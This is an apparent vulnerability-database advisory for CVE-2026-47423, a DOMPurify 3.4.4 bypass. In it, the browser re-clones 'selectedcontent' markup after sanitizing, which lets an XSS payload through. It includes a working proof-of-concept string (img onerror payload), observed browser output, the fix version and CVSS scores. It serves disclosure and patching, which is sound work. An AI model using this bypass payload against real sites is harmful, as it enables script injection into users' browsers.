Mend.io Vulnerability Database
The largest open source vulnerability database
What is a Vulnerability ID?
New vulnerability? Tell us about it!
CVE-2026-47423
Published:June 05, 2026
Updated:June 05, 2026
Summary DOMPurify 3.4.4 allows "selectedcontent" by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify. Details The chain is as follows: 1. The browser parses the input and creates a "<selectedcontent>" clone from the selected "<option>" 2. DOMPurify walks and sanitizes that generated clone. 3. DOMPurify reaches the original "<option>" and removes "selected=javascript:1" 4. The browser refreshes the "<selectedcontent>" clone from the original "option"'s content. 5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize 6. The returned string contains unsanitized markup inside "<selectedcontent>". PoC const dirty = '<select><button><selectedcontent></selectedcontent></button>' + '<option selected=javascript:1>' + '<img src=x onerror=alert(1)>x' + '</option></select>'; const clean = DOMPurify.sanitize(dirty); console.log(clean); document.body.innerHTML = clean; Observed "sanitized" output in Chromium 148/WebKit 625: <select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select> After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the "onerror" has already fired: <select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select> Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with "browser support" (https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/selectedcontent) for "selectedcontent". Impact This is a default-configuration DOMPurify sanitizer bypass resulting in XSS. Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.
Affected Packages
dompurify (NPM):
Affected version(s) =3.4.4 <3.4.5
Fix Suggestion:
Update to version 3.4.5
Do you need more information?
Contact Us
CVSS v4
Base Score:
8.4
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
NONE
User Interaction
PASSIVE
Vulnerable System Confidentiality
HIGH
Vulnerable System Integrity
LOW
Vulnerable System Availability
NONE
Subsequent System Confidentiality
HIGH
Subsequent System Integrity
LOW
Subsequent System Availability
NONE
CVSS v3
Base Score:
8.2
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality
HIGH
Integrity
LOW
Availability
NONE
Weakness Type (CWE)
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')